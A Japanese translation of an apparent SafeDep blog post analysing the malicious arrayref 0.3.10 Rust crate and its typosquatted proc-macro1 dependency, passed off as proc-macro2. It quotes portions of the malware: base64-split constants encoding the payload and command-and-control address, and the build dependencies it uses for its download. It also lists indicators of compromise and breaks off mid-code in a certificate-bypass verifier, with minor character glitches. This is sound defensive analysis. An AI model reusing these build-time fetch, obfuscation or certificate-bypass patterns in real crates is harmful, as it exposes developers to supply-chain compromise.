セキュリティ
悪意のあるRustクレートArrayrefがビルド時ペイロードを実行
Malicious Rust Crate Arrayref Runs a Build-Time Payload (safedep.io)
要約
2026年8月20日、人気のRustクレートarrayrefの侵害されたリリースがcrates.ioに登場しました。バージョン0.3.10は、コンパイル中にリモートバイナリをダウンロードして実行するビルドスクリプトを持つ、タイポスクワッティングされたproc-macro1クレートへの依存関係を追加しました。このコードはビルド時に実行されるため、問題のあるバージョンをプルしたプロジェクトをコンパイルするだけでトリガーされます。crates.ioチームはすでに悪意のあるバージョンを削除しています。このインシデントは、アカウントの侵害とタイポスクワッティングされたクレートの利用を通じて発生しました。
全文翻訳
ブログに戻る
悪意のあるRustクレートarrayrefがビルド時ペイロードを実行
マルウェア
セキュリティ
SafeDepチーム • 2026年8月20日 • 7分で読める
このページについて
6つのセクション
このページについて
概要
2026年8月20日、人気のRustクレートarrayrefの侵害されたリリースがcrates.ioに登場しました。バージョン0.3.10は、タイポスクワッティングされたproc-macro1というクレートへの依存関係を追加しました。このクレートのビルドスクリプトは、プロジェクトのコンパイル中にリモートバイナリをダウンロードして実行します。コードはビルド時に実行されるため、問題のあるバージョンをプルしたプロジェクトをコンパイルするだけでトリガーされます。crates.ioチームはすでに悪意のあるバージョンを削除しています。
関与したパッケージ
正規のarrayrefおよびappend-only-vecクレートはdroundyによって保守されており、そのアカウントは侵害されたようです。対応するGitHubリポジトリは利用できなくなりました。
github.com/droundy/arrayref、github.com/droundy/append-only-vec、およびアカウント全体github.com/droundyはすべて404を返しているため、アップストリームコードは検査のために利用できません。
別のd��tolneyというアカウントがproc-macro1を公開しました。ユーザー名はDavid Tolnayの実際のdtolnayアカウントに似ています。そのメタデータはauthors = ["David Tolnay <[email protected]>"]を偽造し、リポジトリをdtolnay/proc-macro1パスに向けますが、これは404を返します。
CrateVersionPublisherStatus
arrayref
0.3.10
droundy (侵害された)
悪意のある、削除済み
proc-macro1
すべてのバージョン
dtolney (なりすまし)
悪意のあるタイポスクワット、クレート全体が削除済み
append-only-vec
0.1.9
droundy (侵害された)
レポーターによってフラグ付けされた、同じアクター
arrayref
0.3.9以前
droundy
クリーン
注意点として、proc-macro1はproc-macro2ではありません。マクロ作成者が依存する実際のクレートはproc-macro2です。悪意のあるproc-macro1のsrc/はproc-macro2の正規のコピーであるため、ビルドスクリプトが実行されている間もビルドは継続しました。
ビルドスクリプトの動作
ペイロードはproc-macro1 1.0.107のビルドスクリプトにあります。サーバーアドレスをbase64フラグメントとして保存し、ビルド時に再構築します。アドバイザリで引用されているとおりです。
1 // proc-macro1-1.0.107/build.rs (rustsec/advisory-db#3161で引用)
2 const SRC_URL_PARTS: &[&str] =
3 &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];
4 const END_URL_PARTS: &[&str] =
5 &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"];
デコードすると、これらのフラグメントはペイロードホスト hxxps://23[.]254[.]165[.]112:9089/ とコマンド&コントロールアドレス 23[.]254[.]165[.]112:443 を生成します。
スクリプトは、TLS接続を介してアーキテクチャ固有のバイナリを取得します。この接続は、証明書の検証なしに任意の証明書を受け入れ、その後、ビルドからデタッチされた状態で実行します。Unixでは /tmp/rust-setup をドロップして実行します。Windowsでは、PowerShellスクリプトとVBScriptランチャーを%TEMP%の下に書き込み、非表示で開始してから、コンパイラが待機しないように子プロセスを放棄します。
どのように拡散したか
オーナーアカウントは、古いarrayrefリリース0.3.5から0.3.9までをヤンク(取り下げ)しました。クレートをヤンクすると、Cargoは「ヤンクされていないバージョンへの更新を検討してください」という警告を表示し、開発者を唯一の非ヤンクリリースである悪意のある0.3.10に誘導します。RustSecアドバイザリを提出したレポーターは、これがどのようにしてそれに遭遇したかを述べています。
arrayrefは、推移的な依存関係として広く使用されています。tiny-skia、sctk-adwaita、およびwinitを通じて一般的なRustグラフの奥深くに位置しており、egui、eframe、icedで構築されたほとんどのGUI作業の下に配置されます。このクレートは、全期間で約2億4500万回のダウンロード(執筆時点で244,989,384回)があり、クリーンな0.3.9リリースが約1億5200万回を占めています。これらの数値は、影響を受けたビルドの数ではなく、クレートがどれだけ広く使用されているかを示しています。
侵害の兆候
タイプ
詳細
ネットワーク
23.254.165.112:9089
ペイロードホスト (HTTPS)
ネットワーク
23.254.165.112:443
C2、ペイロードにargv[1]として渡される
ファイル (Unix)
/tmp/rust-setup
ダウンロードされた実行可能ファイル
ファイル (Windows)
%TEMP%\rust-setup.ps1
ダウンロードされたPowerShellスクリプト
ファイル (Windows)
%TEMP%\rust-setup-launch.vbs
VBScriptランチャー
セカンドステージ名
rust-crate_0.1.0, _0.2.0, _0.3.0, _0.4.0
OSとアーキテクチャによって選択
削除されたクレートアーティファクトのSHA256:
アーティファクト
SHA256
arrayref 0.3.10
25ad700976873c76af785cb99b33c48db7df8b81f21d1e9e06b3676b9a9373ae
proc-macro1 1.0.107
61198155da51b838772eecf5bfaac6cbc4dcc388dccc56658fc28a8e831b34d4
proc-macro1 1.0.106
b5c1b5b0763a8809a644a8f92224653f0aca623a98eecc714d27f74b80fbe436
パート2:技術分析
私たちの技術分析は、このインシデントの背後にある2つのクレート、arrayref 0.3.10とproc-macro1 1.0.107をカバーしています。arrayref 0.3.10はproc-macro1という依存関係をプルします。悪意のあるコードはarrayref自体ではなく、proc-macro1のビルドスクリプトにあります。
arrayrefにおける注入ポイント
arrayrefは4つのマクロからなる小さなクレートです。0.3.9まではビルドスクリプトも実行時依存関係もありません。バージョン0.3.10は、そのマクロソースを維持し、マニフェストに1行を追加します。
arrayref-0.3.10/Cargo.toml
1 [package]
2 name = "arrayref"
3 version = "0.3.10"
4 build = false
5
6 [dependencies.proc-macro1]
7 version = "1.0.107"
この[dependencies.proc-macro1]エントリは、悪意のあるクレートを導入するのに十分です。要件1.0.107はケアット範囲であり、公開されたのは1.0.106と1.0.107のみであるため、悪意のある1.0.107に解決されます。クレート自体のsrc/lib.rsは、例えばarray_ref!マクロのような通常の макро コードです。
arrayref-0.3.10/src/lib.rs
1 #[macro_export]
2 macro_rules! array_ref {
3 ($arr:expr, $offset:expr, $len:expr) => {{4 {5 #[inline]
6 const unsafe fn as_array<T>(slice: &[T]) -> &[T; $len] {
7 &*(slice.as_ptr() as *const [_; $len])
8 }
9 let offset = $offset;
10 let slice = &$arr[offset..offset + $len];
11 #[allow(unused_unsafe)]
12 unsafe {
13 as_array(slice)
14 }
15 }
16 }};
17}
arrayrefソースのどこにもproc-macro1への参照はなく、必要もありません。Cargoは、コードが使用するかどうかに関わらず、宣言されたすべての非オプション依存関係をビルドします。したがって、マニフェストエントリだけでも、プロジェクトがarrayref 0.3.10をプルするたびにCargoがproc-macro1を取得してビルドし、それをビルドすると悪意のあるビルドスクリプトが実行されます。
proc-macro1はproc-macro2のリネームコピーです
proc-macro1のsrc/はproc-macro2であり、proc-macro2をproc-macro1に機械的に検索・置換したものです。このリネームは、ドキュメントリンクやコピーされた問題参照にまで及びます。例えば、src/lib.rsのhtml_root_url = "https://docs.rs/proc-macro1/1.0.107"や、src/fallback.rsのgithub.com/dtolnay/proc-macro1/issues/235リンクなどです。ライブラリコードが実際のproc-macro2であるため、クレートはドロップインとして機能します。これにより、通常のビルド中に悪意のあるクレートが目立たなくなります。
パッケージメタデータはIDを偽造します。
proc-macro1-1.0.107/Cargo.toml
1 authors = ["David Tolnay <[email protected]>"]
2 repository = "https://github.com/dtolnay/proc-macro1"
メールアドレス[email protected]はDavid Tolnayのものではなく、dtolnay/proc-macro1リポジトリは404を返します。
疑わしい違いはビルド依存関係にあり、実際のproc-macro2にはありません。
proc-macro1-1.0.107/Cargo.toml
1 [build-dependencies.base64]
2 version = "0.22"
3
4 [build-dependencies.rustls]
5 version = "0.23"
6 features = ["ring", "std", "tls12"]
7 default-features = false
8
9 [build-dependencies.ureq]
10 version = "2"
11 features = ["tls"]
12 default-features = false
これらの3つのクレートは、ビルドスクリプトにbase64デコーディング、TLSスタック、HTTPクライアントを提供します。これらの依存関係は、トークン解析ライブラリとしては珍しく、悪意のあるビルドスクリプトがそれらを使用しています。
ビルドスクリプトのペイロード
ビルドスクリプトは、サーバーアドレスをbase64フラグメントに分割し、コンパイル時に再構築するため、ソースに生の文字列は表示されません。
proc-macro1-1.0.107/build.rs
1 const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];
2 const END_URL_PARTS: &[&str] = &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"];
デコードすると、SRC_URL_PARTSはhxxps://23[.]254[.]165[.]112:9089/、END_URL_PARTSは23[.]254[.]165[.]112:443になります。
ダウンロードは、任意の証明書を受け入れるTLSクライアントを使用します。AcceptAll verifierは、rustls ServerCertVerifierトレイトのすべての証明書および署名チェックから成功を返します。そのため、生のIP上の自己署名証明書でも合格します。
proc-macro1-1.0.107/build.rs
1 impl ServerCertVerifier for AcceptAll {
2 fn v